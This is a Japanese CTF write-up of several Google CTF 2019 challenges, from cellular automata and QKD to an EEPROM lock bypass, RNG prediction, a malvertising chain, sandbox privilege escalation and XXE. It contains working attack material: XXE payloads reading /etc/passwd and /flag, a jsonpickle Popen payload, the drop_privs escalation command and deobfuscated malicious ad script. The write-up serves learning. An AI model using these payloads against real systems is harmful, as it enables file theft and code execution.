本編。Beginnersはこっち。
superflipは997点で48位。
簡単な問題はBeginnersに行っているから、難易度が高い。Solvesが最多の問題でも148チーム、次が134チーム。それ以外の問題は多くとも2桁チームしか解いていない。
このUI止めてほしい。あと、問題タイトルや問題文がマウスで選択しづらい。
CTFで「簡単な問題が残っていないかな~」と順番に問題を見ていくことを良くするのだけど、Google CTFはあるジャンルを選択するとそのジャンルは横並びの一覧から消えるので、この操作がめっちゃつらかった。どうしてこんなことに……。 pic.twitter.com/Kd3kRdMEye
— kusanoさん@がんばらない (@kusano_k) 2019年6月24日
CRYPTO
Reverse a cellular automata (80 pts, 148 solved)
It's hard to reverse a step in a cellular automata, but solvable if done right.
ウェブページを見に行くと、問題の説明と、答えの64ビット値からフラグを復号するコマンドが書かれている。
110011011011110001111000001101111111000011111111101111111001111
を1ステップ戻せというのが問題。これは1次元のライフゲーム。あるマスは周囲3マスの状態で次の世代で生きるか死ぬかが決まり、3マスの8通りの状態を8ビットとみなして0から255の番号をつけて研究対象にされている。Rule 126は、3マスが全部死んでいるか全部生きているなら次の世代は死に、それ以外は生きる。
前の世代を右から1ビットずつ探索していくことを考える。
prev: ...abc...
cur: ....x....
bc=00
もしくはbc=11
のとき、x=0
ならばa=b
、x=1
ならばa!=b
。bc=01
もしくはbc=10
のとき、x=0
ならばここまでの仮定が間違っていて、x=1
ならばa
は0
でも1
でも良い。ということは、平均して2回に1回しかa
の値が2通りになることもないし、枝刈りも効くので、せいぜい$2^{32}$程度の探索で前の状態が求まる。
n = 64
def rule126(a):
b = 0
for i in range(n):
c = 0
for j in range(-1, 2):
c += a>>((i+j)%n)&1
if 0<c<3:
b |= 1<<i
return b
def bt(a, b, p):
if p>=n:
if rule126(a)==b:
a = "%x"%a
a = "0"*(len(a)-n/4)+a
print a
return
for x in range(2):
if p>=2:
c = x
for j in range(-2, 0):
c += a>>((p+j)%n)&1
if int(0<c<3) != (b>>(p-1)&1):
continue
bt(a|x<<p, b, p+1)
bt(0, 0x66de3c1bf87fdfcf, 0)
次の世代が0x66de3c1bf87fdfcf
になる状態は10,752個もあった。CTF{答え}
をフラグにしなかったのはこのためか。全部試してCTF{...}
になるものを探す。
cat key.txt | while read k
do
echo $k > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
echo
echo $k
echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
done
3c73e80ecfcd767a
ラ・レ4偈カw?・{コlッタ(若/<XH・ヲ:"Nク
雰瞳?ゥ゙・
3c74180ecfcd767a
ヘモⅷッサ L剴Y-ヲイcs坎
阻、Vヨセ{s疇 顴・・゙訝F
3c73e7f12fcd767a
CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}
3c7417f12fcd767a
o ・・ン4ハノyレjサ寥屡k」メ_マ[
ルSn綯9・賴〇iホ汁
CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}
Quantum Key Distribution (92 pts, 134 solved)
Generate a key using Quantum Key Distribution (QKD) algorithm and decrypt the flag.
ページを見ると、同じように問題の説明とフラグの復号方法が書かれている。
量子鍵配送。BB84。脆弱性を突く必要も無くて、送信側を素直に実装すれば良い。
別に盗聴者がいるわけでもなし、「ランダムなビット」は000000...
でいいか。とやったら、{"error": "your random key is not random enough!"}
と怒られた。
問題に書かれているコードはbinary_key
とsat_basis
を返す。binary_key
がWikipediaの説明の共有鍵。サーバーからのレスポンスは、
basis: List of '+' and 'x' used by the satellite.
announcement: Shared key (in hex), the encryption key is encoded within this key.
これでどうするのかでちょっと悩んだけれど、binary_key
とencryption keyのxorがannouncementだった。前の問題と違って、複数候補が出るわけでもなし、これがフラグでも良かったのでは。
import urllib2
import json
import random
random.seed(1234)
n = 128
d = {
"basis": [],
"qubits": [],
}
value = []
for _ in range(n*4):
b = random.choice("+x")
v = random.choice([0, 1])
q = [1, 1j][v]
if b=="x":
q /= 0.707-0.707j
d["basis"] += [b]
d["qubits"] += [{"real": q.real, "imag": q.imag}]
value += [v]
req = urllib2.Request(
"https://cryptoqkd.web.ctfcompetition.com/qkd/qubits",
json.dumps(d),
{"Content-Type": "application/json"})
ret = urllib2.urlopen(req).read()
ret = json.loads(ret)
share = ""
for i in range(n*4):
if len(share)>=n:
break
if d["basis"][i]==ret["basis"][i].decode("utf-8"):
share += str(value[i])
key = int(share, 2) ^ int(ret["announcement"], 16)
key = "%x"%key
key = "0"*(n/4-len(key))+key
print "key:", key
$ python solve.py
key: 946cff6c9d9efed002233a6a6c7b83b1
$ echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
$ echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
CTF{you_performed_a_quantum_key_exchange_with_a_satellite}
CTF{you_performed_a_quantum_key_exchange_with_a_satellite}
HARDWARE
flagrom (187 pts, 57 solved)
This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.
nc flagrom.ctfcompetition.com 1337
おお、問題サーバーの裏でボードが実際に動いているのか!?と思いきや、そんなことはなくて、配布ファイルのバイナリのシンボル名を見るに、VerilatorというツールでVerilog HDLのコードをシミュレートしているらしい。ということで、配布ファイル単体で動かせる。DoS対策用にMD5を計算させられる処理があり、色々と試すのは面倒なので、このチェックを潰してローカルで動かすと楽。
seeprom.svがVerilog HDLのコードで「SecureEEPROM」実装している。firmware.8051はフラグをこのROMに書き込んで、読み込めないようにロックを掛ける。その後にこちらが指定したプログラムを実行してくれる。
まずはseeprom.svを読む。
:
wire i2c_control_rw = i2c_control[0];
:
このような=
は代入ではなく、i2c_control_rw
とi2c_control
の最下位ビットにあたる配線を繋ぐという定義なので、i2c_control
が書き換われば、その都度i2c_control_rw
の値も変わる。
代入にあたるのは<=
で、例えばこのコード
always_ff @(posedge i_clk) begin
:
case (i2c_state)
I2C_IDLE: begin
if (i2c_start) begin
i2c_state <= I2C_START;
end
end
:
で、「i_clk
が0
から1
になるとき、i2c_state==I2C_IDLE
かつi2c_start!=0
ならば、i2c_state
の値をI2C_START
に変える」という意味になる。
処理は上から順番に実行されるわけではなく、全ての処理が同時に起こる。
SecureEEPROMのSecureな部分がどう実装されているかを見ていくと、
- 最初にアドレスをロードするときにそのアドレスがロックされていれば
i2c_address_valid <= 0
として弾く - 読み進めるときに、現在のアドレスと次のアドレスのロックの状態が異なれば弾く
という処理になっている。ここに脆弱性があって、まずロックされていないアドレスをロードして、読み進める途中に次のアドレスをロックすると、元からロックされていた部分もそのまま読んでしまう。
firmware.cを参考に攻撃するコードを書く。SDCCというツールでコンパイルできる。
:
const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const SEEPROM_I2C_ADDR_SECURE = 0b01010000;
:
がコンパイルエラーになるので、int
を追加。
変数名の通りI2Cで通信しているのだけど、I2Cのマスター側の処理が直接firmware.cに書かれているわけではない。
:
// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH; // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK; // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE; // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8]; // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE; // Read: 0 - idle, 1 - busy; Write: 1 - start
:
この部分のメモリを使ってSecureEEPROMと通信する「I2C-M module/chip」が別にいるらしい。こいつが送信のたびにI2CのSTOPシーケンスを送るので、SecureEEPROMでi2c_address_valid <= 0
が実行されてしまう。
仕方が無いので、I2C通信を自分で実装。firmware.cでは使われていないのに、
:
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
:
と定義が書かれていて優しい。
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) DEBUG;
__sfr __at(0xfd) CHAROUT;
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
const int SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const int SEEPROM_I2C_ADDR_SECURE = 0b01010000;
void start() {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = 1;
RAW_I2C_SCL = 1;
RAW_I2C_SDA = 0;
}
void send(unsigned char c) {
int i;
for (i=0; i<8; i++)
{
RAW_I2C_SCL = 0;
RAW_I2C_SDA = c>>(7-i)&1;
RAW_I2C_SCL = 1;
}
// ack
RAW_I2C_SCL = 0;
CHAROUT = '0'+RAW_I2C_SDA;
RAW_I2C_SCL = 1;
}
unsigned char recv() {
int i;
unsigned char c = 0;
for (i=0; i<8; i++)
{
RAW_I2C_SCL = 0;
c = c<<1 | RAW_I2C_SDA;
RAW_I2C_SCL = 1;
}
RAW_I2C_SCL = 0;
RAW_I2C_SDA = 0;
RAW_I2C_SCL = 1;
return c;
}
void main(void) {
int i;
start();
send(SEEPROM_I2C_ADDR_MEMORY);
send(0x00);
start();
send(SEEPROM_I2C_ADDR_SECURE | 0b1111);
start();
send(SEEPROM_I2C_ADDR_MEMORY | 1);
for (i=0; i<128; i++)
CHAROUT = recv();
POWEROFF = 1;
}
>sdcc read_flag.c
>makebin read_flag.ihx read_flag.bin
from socket import *
from hashlib import *
from time import *
payload = open("read_flag.bin", "rb").read()
s = socket(AF_INET, SOCK_STREAM)
s.connect(("flagrom.ctfcompetition.com", 1337))
sleep(1)
d = s.recv(999)
print d
prefix = d[-8:-2]
print prefix
i = 0
for i in xrange(0x10000000):
proof = "flagrom-%d"%i
if md5(proof).hexdigest()[:6]==prefix:
break
print proof
s.send(proof+"\n")
sleep(1)
print s.recv(999)
s.send("%d\n"%len(payload))
s.send(payload)
ret = ""
while True:
d = s.recv(999)
if d=="":
break
ret += d
print ret
>py -2 read_flag.py
What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 1b3d61?
1b3d61
flagrom-25027629
What's the length of your payload?
Executing firmware...
[FW] Writing flag to SecureEEPROM...............DONE
[FW] Securing SecureEEPROM flag banks...........DONE
[FW] Removing flag from 8051 memory.............DONE
[FW] Writing welcome message to SecureEEPROM....DONE
Executing usercode...
0000Hello there. CTF{flagrom-and-on-and-on}
Clean exit.
CTF{flagrom-and-on-and-on}
MISC
Doomed to Repeat It (173 pts, 65 solved)
Play the classic game Memory. Feel free to download and study the source code.
https://doomed.web.ctfcompetition.com/
Goで書かれた神経衰弱。
はい乱数推測。
:
// OsRand gets some randomness from the OS.
func OsRand() (uint64, error) {
// 64 ought to be enough for anybody
var res uint64
if err := binary.Read(rand.Reader, binary.LittleEndian, &res); err != nil {
return 0, fmt.Errorf("couldn't read random uint64: %v", err)
}
// Mix in some of our own pre-generated randomness in case the OS runs low.
// See Mining Your Ps and Qs for details.
res *= 14496946463017271296
return res, nil
}
// deriveSeed takes a raw seed (e.g. some OS randomness), and derives a secure
// seed. Returns exactly 8 bytes.
func deriveSeed(rawSeed uint64) ([]byte, error) {
buf := make([]byte, 8)
binary.LittleEndian.PutUint64(buf, rawSeed)
// We want to make the game (Memory) hard, so thus we use argon2,
// which is memory-hard.
// https://password-hashing.net/argon2-specs.pdf
// argon2 is the pinnacle of security. Nothing is more secure.
// This is because memory is a valuable resource, one does not simply
// download more of it.
// We use IDKey because it protects against timing attacks (Key doesn't).
// We lowered some parameters to protect against DDOS attacks.
// TODO: implement proof of work
seed := argon2.IDKey(buf, buf, 1, 2*1024, 2, 8)
if len(seed) != 8 {
return nil, errors.New("argon2 returned bad size")
}
return seed, nil
}
// New generates state for a new random stream with cryptographically secure
// randomness.
func New() (*Rand, error) {
osr, err := OsRand()
if err != nil {
return nil, fmt.Errorf("couldn't get OS randomness: %v", err)
}
return NewFromRawSeed(osr)
}
:
OSから乱数を64ビット読んでしっかり初期化しているし、暗号論的乱数を使っている……?ように見えて、res *= 14496946463017271296
がダメ。14496946463017271296=0xc92f800000000000
。これを掛けると下位47ビットは常に0になって、17ビット分しか残らない。
Goは書き慣れていなくてサーバーとの通信を書くのが大変だし、乱数の初期化が重くて繋いだ後に探索していたら間に合わないので、可能性のある札の並びを全て事前に生成。
package main
import (
"./7d6680177ddf33167700f021db01c260fac0b25cc05e28d3803a224046fee461/random"
"fmt"
)
func board(seed uint64) [56]int {
rand, _ := random.NewFromRawSeed(seed)
b := [56]int{}
for i, _ := range b {
b[i] = i / 2
}
// https://github.com/golang/go/wiki/SliceTricks#shuffling
for i := 56 - 1; i > 0; i-- {
j := rand.UInt64n(uint64(i) + 1)
b[i], b[j] = b[j], b[i]
}
return b
}
func main() {
for i := 0; i < 0x20000; i++ {
fmt.Println(board(uint64(i)*14496946463017271296))
}
}
>go build make_table.go
>make_table.exe > table.txt
後は慣れたPythonで通信部分を書く。札が56枚で、60枚までめくれるので、最初に5枚はめくって良い。5枚目を開けたままにしておいて、合致する札の並びを探し、それから5枚目と同じ数字を6枚目とする。
# pip install websocket-client
import websocket
import json
ws = websocket.create_connection(
"wss://doomed.web.ctfcompetition.com/ws",
origin="https://doomed.web.ctfcompetition.com")
ws.send(json.dumps({"op": "info"}))
print ws.recv()
board = [-1]*56
for i in range(5):
ws.send(json.dumps({"op": "guess", "body": {"x": i, "y": 0}}))
d = ws.recv()
print d
board[i] = json.loads(d)["board"][i]
print "board:", board
answer = []
for l in open("table.txt"):
l = map(int, l[1:-2].split())
if l[:5]==board[:5]:
answer = l
break
else:
print "not found"
exit(0)
print "found"
print "answer:", answer
last = answer[4]
answer[4] = -1
t = answer.index(last)
ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
print ws.recv()
for i in range(28):
if i!=last:
for j in range(2):
t = answer.index(i)
answer[t] = -1
ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
print ws.recv()
>>py -2 solve.py
{"width":7,"board":[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":0,"done":false,"message":"","clear":[]}
:
{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":59,"done":false,"message":"","clear":[]}
{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,27],"maxTurns":60,"maxTurnTime":10,"turnsUsed":60,"done":true,"message":"You win! Flag: CTF{PastPerf0rmanceIsIndicativeOfFutureResults}","clear":[]}
websocket-clientのここで、Origin:
ヘッダがhttp://
に固定されているので、https://
を指定しないと弾かれた。どうなっているのが正しいのだろう。
CTF{PastPerf0rmanceIsIndicativeOfFutureResults}
REVERSING
Dialtone (189 pts, 56 solved)
You might need a pitch-perfect voice to solve this one. Once you crack the code, the flag is CTF{code}.
逆アセンブルしたら1,000行以上になったし、SSEも使っているし、WSLで動かない。
$ ./a.out
shared memfd open() failed: Function not implemented
pa_simple_new() failed: Connection refused
とはいえ、読むべきコードは少なかった。r
の返り値が非負ならばSUCCESS
。r
の後半を見ると、ループ中で[rbp-0x2c]
が順に0x9, 0x5, 0xa, 0x6, 0x9, 0x8, 0x1, 0xd, 0x0
ではないときに終了している。[rbp-0x2c]
どうやって決まっているかを見てみると、1366とか1477とかの定数とf
の返り値を比較している。この定数でググるとDTMF。高群と低群が何番目の周波数かを、それぞれ下位と上位の2ビットに入れている。
CTF{859687201}
Malvertising (140 pts, 87 solved)
Unravel the layers of malvertising to uncover the Flag
https://malvertising.web.ctfcompetition.com/
このようなサイト。
YouTubeっぽい部分は全部画像で、"Your advertisement here"
のところが<iframe>
。この部分を解析しろという問題。アドネットワーク経由で悪意のあるコードをばらまくのには、出題者のGoogleも思うところがあるのか。
:
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
try {
var u = steg[b('0x1a', 'OfTH')](t);
} catch (v) {}
if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
s[s][s](u)();
}
}
;
b
が文字列を難読化している関数。グローバル関数なので、後から開発者コンソールで呼び出すと文字列が分かる。これを置き換えて、obj['name']
をobj.name
に直したりすると、
:
var s = 'constructor';
var t = document.getElementById('adimg');
t.onload = function() {
try {
var u = steg.decode(t);
} catch (v) {}
if (Number(/android/i.test(navigator.userAgent))) {
s.constructor.constructor(u)();
}
}
;
Androidならば、u
が実行される。UAを変えてみると https://malvertising.web.ctfcompetition.com/ads/src/uHsdvEHFDwljZFhPyKxp.js が読みこまれる。
:
function dJw() {
try {
return (
navigator.platform.toUpperCase().substr(0, 5) +
Number(/android/i.test(navigator.userAgent)) +
Number(/AdsBot/i.test(navigator.userAgent)) +
Number(/Google/i.test(navigator.userAgent)) +
Number(/geoedge/i.test(navigator.userAgent)) +
Number(/tmt/i.test(navigator.userAgent)) +
navigator.language.toUpperCase().substr(0, 2) +
Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) +
Number(/geoedge/i.test(document.referrer)) +
Number(/tmt/i.test(document.referrer)) +
performance.navigation.type +
performance.navigation.redirectCount +
Number(navigator.cookieEnabled) +
Number(navigator.onLine) +
navigator.appCodeName.toUpperCase().substr(0, 7) +
Number(navigator.maxTouchPoints > 0) +
Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) +
navigator.plugins.length);
} catch (e) {
return 'err'
}
};
a="A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
eval(T.d0(a, dJw()));
dJw
でユーザーの環境情報を収集して文字列化し、T.d0
でこれを鍵としてa
を復号することで、特定のユーザー以外ではスクリプトが実行されず、スクリプトを解析することもできないようにしている。が、T.d0
は鍵の先頭16文字しか使っていない。Androidならばplatform
はAndroid
かLinux
。language
は2文字。type
は先頭1文字が使われ、0
か1
か2
。他は0
か1
なので充分探索できる。
ここでハマった。uHsdvEHFDwljZFhPyKxp.jsがBase64を復号するとき、atob
があれば使うし、無ければBuffer.prototype.toString('base64')
を使う。両者の挙動が(たぶんUnicodeとして正しくない文字とかで)違う。nodeで実行していたら探索に失敗したけれど、ブラウザで実行したら上手く行った。
// uHsdvEHFDwljZFhPyKxp.jsのevalより前をコピペ
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (var b=0; b<1<<8; b++)
for (var l0 of A)
for (var l1 of A)
for (var type=0; type<=2; type++)
{
//var key = "ANDRO";
var key = "LINUX";
//var key = "NULL";
for (var i=0; i<5; i++)
key += b>>i&1;
key += l0 + l1;
for (var i=5; i<8; i++)
key += b>>i&1;
key += type;
code = String(T.d0(a, key));
ok = true;
try {
eval(code);
} catch (e) {
if (e instanceof SyntaxError)
ok = false;
}
if (ok)
console.log(key + " " + code);
}
<script src="search.js"></script>
:
LINUX00000HV1000 1=mä¹3oê|ÑÕ«ØFz#OGý®ü5I¿,JZ5T::¼o½?Ú3,Gl¦kUÞàC´Ùó5/H2Ë"«ée&ÊÝÂ4x^9gnMJªUV¿¦UC¡
b^ø
LINUX10000FR1000 var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);
LINUX10000GT1002 2=#q?)Ä<ØdëÌý+px0¶^ô>ÅÌ}
&Ú6!KÜfݽ|ÚPèã¨5ãÅ×3×°ÖÆÃÂCÑ79¶ðÇ
}2¾<l°ÚîX½¯ °
U5dAyØ»öǼ
¯]~N_PÑZáø¿«D1
:
npoTHyBXnpZWgLorNrYc.jsの解析がつらい。WebRTC関係の何かを動かそうとしていてエラーで落ちるし、どこから読んでいるのかわからないdebug
でデバッガが停められる。でも、全部解析する必要は無く、最後だけ読めば良かった。
:
try {
if (_0x2fd47c) {
if ('\x61\x5a\x71\x47\x6d' === _0x5877('0x7f', '\x2a\x62\x78\x5e')) {
return _0x5e9e2d;
} else {
var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
var _0x4f8041 = _0x14d30a[_0x5877('0x80', '\x21\x38\x29\x66')](candidate)[0x1];
if (_0x4f8041) {
if (_0x4f8041[_0x5877('0x81', '\x46\x28\x45\x23')](/192.168.0.*/)) {
var _0xb9e15d = document[_0x5877('0x82', '\x74\x50\x24\x59')](_0x5877('0x83', '\x28\x46\x73\x21'));
_0xb9e15d[_0x5877('0x84', '\x61\x4c\x55\x76')](_0x5877('0x85', '\x69\x4f\x61\x28'), _0x5877('0x86', '\x5e\x39\x49\x2a'));
document['\x68\x65\x61\x64'][_0x5877('0x87', '\x77\x28\x7a\x4f')](_0xb9e15d);
}
}
}
} else {
if (_0x5877('0x88', '\x6a\x45\x78\x40') !== _0x5877('0x89', '\x45\x37\x4f\x24')) {
_0x5e9e2d(0x0);
} else {
_0x5e9e2d(0x0);
}
}
} catch (_0x7adc77) {}
難読化されている文字列などを戻すと、
:
try {
if (_0x2fd47c) {
if ('aZqGm' === 'aZqGm') {
return _0x5e9e2d;
} else {
var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
var _0x4f8041 = _0x14d30a.exec(candidate)[0x1];
if (_0x4f8041) {
if (_0x4f8041.match(/192.168.0.*/)) {
var _0xb9e15d = document.createElement('script');
_0xb9e15d.setAttribute('src', './src/WFmJWvYBQmZnedwpdQBU.js');
document.head.appendChild(_0xb9e15d);
}
}
}
} else {
if ('PYyVn' !== 'XVaYV') {
_0x5e9e2d(0x0);
} else {
_0x5e9e2d(0x0);
}
}
} catch (_0x7adc77) {}
alert("CTF{I-LOVE-MALVERTISING-wkJsuw}")
CTF{I-LOVE-MALVERTISING-wkJsuw}
SANDBOX
DevMaster 8000 (136 pts, 90 solved)
Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!
I wonder who else might be sharing the DevMaster 8000.
nc devmaster.ctfcompetition.com 1337
えらく重厚なプログラム。README.mdを読むと、
client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary
のように使うと、サーバーでコンパイルしてバイナリを返してくれるらしい。
int array[] = {
#include "hoge.csv"
};
みたいな技があるし、そんな感じでフラグを読むのかな? でも、コンパイルのコマンドも指定できるなら、g++
の代わりにcat
で良いのでは? と試してみたらエラー。
built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- cat /home/user/flag
cat: /home/user/flag: Permission denied
管理者パスワードの照合処理を見てみる。
:
char pieces[4] = { IsPrime<416>::eval + '9', IsPrime<1567>::eval + 'c', IsPrime<443>::eval + 'd' , '\0'};
int main(int argc, char** argv) {
std::cout << "Enter your password please." << std::endl;
std::string password;
getline(std::cin, password);
std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
std::string actual_hash = picosha2::hash256_hex_string(password);
if (expected_hash == actual_hash) {
:
コンパイル時に素数判定をしている。9de312...
になる。どうせ逆算できないので意味が無い。
権限はdrop_privsというプログラムで落としているらしい。落とせるならば与えることもできるだろうか? と試してみたらできた。
built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- /home/user/drop_privs admin admin cat /hom
e/user/flag
CTF{two-individually-secure-sandboxes-may-together-be-insecure}
「two-individually-secure-sandboxes」のもう1個は何だろう。
CTF{two-individually-secure-sandboxes-may-together-be-insecure}
WEB
bnv (155 pts, 76 solved)
There is not much to see in this enterprise-ready™ web application.
最後はずっとこの問題を考えていて、解けなかった。
検索する都市名をJavaScriptで変換して、JSONでAPIに投げている。zurich
ならば135601360123502401401250
になる。これは英語の点字。
1 4
2 5
3 6
サイトのロゴも点字。
Welcome to the official site of the
associN of the people who are bl
ちょっとおかしい。association
とblind
だろうか。
点字は記号も表現できるし、結果が出力されるHTML要素のIDがdatabase-data
なので、SQLインジェクションかな? と思ったが、英字26文字以外の点字は無視される。検索が完全一致なので分かる。
server:
ヘッダがgunicorn/19.9.0
なので、Python。jsonpickleを使っていて、
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}
とかで攻撃できるのだろうかと考えたが、不発。
サーバーからの応答時間が、2グループに分かれることに気が付いて、サイドチャネル的な何かがあるのかと思ったけれど、何も無し。下のグラフはトップページの応答時間。
bnvはxmlを受け付けることを気合で当てるとエラーメッセージが見えるXXEです。Firstblood取れた自分を褒めたい
— icchy (@icchyr) 2019年6月24日
JSONのAPIがあったら、「XMLも受け付けるかも?」と考えるのか。
「これさえ気が付いていれば解けたのにな~」と思って、このツイートを見て挑戦してみたけれど、やっぱり解けなかった。
こちらから送るXMLの中身は返ってこないので、エラーメッセージで出力させるしかない。この辺を参考に。
Black Hat: XML Out-Of-Band Data Retrieval
外部参照でhttp://~
を指定しても読んでくれなかった。外部ファイルを読むときにエラーになると、ファイル名が出てくる。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY % hoge SYSTEM "file:///hoge/fuga">
%hoge;
]>
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack1.xml
failed to load external entity "file:///hoge/fuga", line 1, column 124
ファイル名の部分に読みたいファイルの中身を持ってきてみる。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY % x SYSTEM "file:///etc/passwd">
<!ENTITY % y "<!ENTITY E z SYSTEM 'file:///hoge/%x;'>">
%y;
%z;
]>
ややこしいけれど、%y
が<!ENTITY % z SYSTEM 'file:///hoge/root:x:0:0:root:/root:/bin/bash...'>
になる。しかし、エラー。
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack2.xml
PEReferences forbidden in internal subset, line 1, column 175
こんな風に値の中で%x
を使うのが、内部サブセットではダメらしい。外部サブセットなら可能。とはいえ、自前のファイルを参照させることはできないのだが……。でギブアップ。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY % x "hoge">
<!ENTITY % y "%x;">
]>
諦めて他の人の解き方を見てみる。
[GoogleCTF 2019] — Web: BNV — Writeup - HMIF ITB Tech - Medium
/usr/share/yelp/dtd/docbookx.dtdがローカルに存在するから使うらしい。これは分からん……。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % x SYSTEM "file:///flag">
<!ENTITY % y "<!ENTITY &#x25; z SYSTEM &#x22;file:///hoge/%x;&#x22;>">
%y;
%z;
'>
%local_dtd;
]>
$ curl https://bnv.web.ctfcompetition.com/api/search -H 'Content-Type: application/xml' -d @attack.xml
Invalid URI: file:///hoge/CTF{0x1033_75008_1004x0}, line 1, column 121